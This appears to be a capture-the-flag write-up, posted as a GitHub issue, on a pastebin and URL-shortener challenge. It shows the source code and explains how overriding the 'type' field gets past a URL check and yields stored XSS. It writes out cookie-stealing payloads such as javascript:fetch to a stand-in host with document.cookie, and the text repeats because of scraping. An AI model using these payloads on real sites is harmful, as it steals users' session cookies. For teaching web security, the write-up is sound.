Open aszx87410 opened 3 years ago
It's a service for shorten url and pastebin:
source code:
const database = require('../modules/database'); module.exports = async (fastify) => { fastify.post('createLink', { handler: (req, rep) => { const uid = database.generateUid(8); const regex = new RegExp('^https?://'); if (! regex.test(req.body.data)) return rep .code(200) .header('Content-Type', 'application/json; charset=utf-8') .send({ statusCode: 200, error: 'Invalid URL' }); database.addData({ type: 'link', ...req.body, uid }); rep .code(200) .header('Content-Type', 'application/json; charset=utf-8') .send({ statusCode: 200, data: uid }); }, schema: { body: { type: 'object', required: ['data'], properties: { data: { type: 'string' } } } } }); fastify.post('createPaste', { handler: (req, rep) => { const uid = database.generateUid(8); database.addData({ type: 'paste', ...req.body, uid }); rep .code(200) .header('Content-Type', 'application/json; charset=utf-8') .send({ statusCode: 200, data: uid }); }, schema: { body: { type: 'object', required: ['data'], properties: { data: { type: 'string' } } } } }); fastify.get('data/:uid', { handler: (req, rep) => { if (!req.params.uid) { return; } const { data, type } = database.getData({ uid: req.params.uid }); if (!data || !type) { return rep .code(200) .header('Content-Type', 'application/json; charset=utf-8') .send({ statusCode: 200, error: 'URL not found', }); } rep .code(200) .header('Content-Type', 'application/json; charset=utf-8') .send({ statusCode: 200, data, type }); } }); }
And it's the source code for front-end:
<!doctype html> <html> <head> <script async> (async () => { const id = window.location.pathname.split('/')[2]; if (! id) window.location = window.origin; const res = await fetch(`${window.origin}/api/data/${id}`); const { data, type } = await res.json(); if (! data || ! type ) window.location = window.origin; if (type === 'link') return window.location = data; if (document.readyState !== "complete") await new Promise((r) => { window.addEventListener('load', r); }); document.title = 'Paste'; document.querySelector('div').textContent = data; })() </script> </head> <body> <div style="font-family: monospace"></div> </bod> </html>
First, it gets data from api and then either set content for pastebin or use window.location for redirecting user from shorten url to original url.
window.location
This chall also has a admin bot so we can assume the solution is XSS and steal cookie.
But how?
I spend some time to think about how to do XSS, because document.querySelector('div').textContent = data; is impossible to XSS.
document.querySelector('div').textContent = data;
Then I found window.origin is suspicious so I googled it and found this:What is window.origin?
window.origin
It's seems we can manipulate window.origin by embed it inside an ifame. Because window.origin will return parent window origin.
But it's not the point, it's nothing to do with window.origin.
When I find this stackoverflow, it suddenly and randomly reminds me that we can use window.location to do XSS!
Like this:
window.location = javascript:alert(1)
So we can have a payload like this:
window.location = 'javascript:fetch("xxx.com?c="+document.cookie)'
Next, we need to create a shorten url with long url: javascript:fetch("xxx.com?c="+document.cookie).
javascript:fetch("xxx.com?c="+document.cookie)
But there is a validation to check if url starts with http/https:
const regex = new RegExp('^https?://'); if (! regex.test(req.body.data)) return rep .code(200) .header('Content-Type', 'application/json; charset=utf-8') .send({ statusCode: 200, error: 'Invalid URL' });
While createPaste doesn't do validation and deliberately use object destructuring:
createPaste
fastify.post('createPaste', { handler: (req, rep) => { const uid = database.generateUid(8); database.addData({ type: 'paste', ...req.body, uid });
So we can override type and use createPaste to create url:
type
{ "data":"javascript:fetch('https://aaa.com?c='+document.cookie)", "type":"link" }
After we have this shorten url, we can submit the shorten url to admin bot.
When admin bot visit this url, it will run:
window.location = javascript:fetch('https://aaa.com?c='+document.cookie)
We can get the flag then.
It's a service for shorten url and pastebin:
source code:
And it's the source code for front-end:
First, it gets data from api and then either set content for pastebin or use
window.location
for redirecting user from shorten url to original url.This chall also has a admin bot so we can assume the solution is XSS and steal cookie.
But how?
I spend some time to think about how to do XSS, because
document.querySelector('div').textContent = data;
is impossible to XSS.Then I found
window.origin
is suspicious so I googled it and found this:What is window.origin?It's seems we can manipulate
window.origin
by embed it inside an ifame. Becausewindow.origin
will return parent window origin.But it's not the point, it's nothing to do with
window.origin
.When I find this stackoverflow, it suddenly and randomly reminds me that we can use
window.location
to do XSS!Like this:
So we can have a payload like this:
Next, we need to create a shorten url with long url:
javascript:fetch("xxx.com?c="+document.cookie)
.But there is a validation to check if url starts with http/https:
While
createPaste
doesn't do validation and deliberately use object destructuring:So we can override
type
and usecreatePaste
to create url:After we have this shorten url, we can submit the shorten url to admin bot.
When admin bot visit this url, it will run:
We can get the flag then.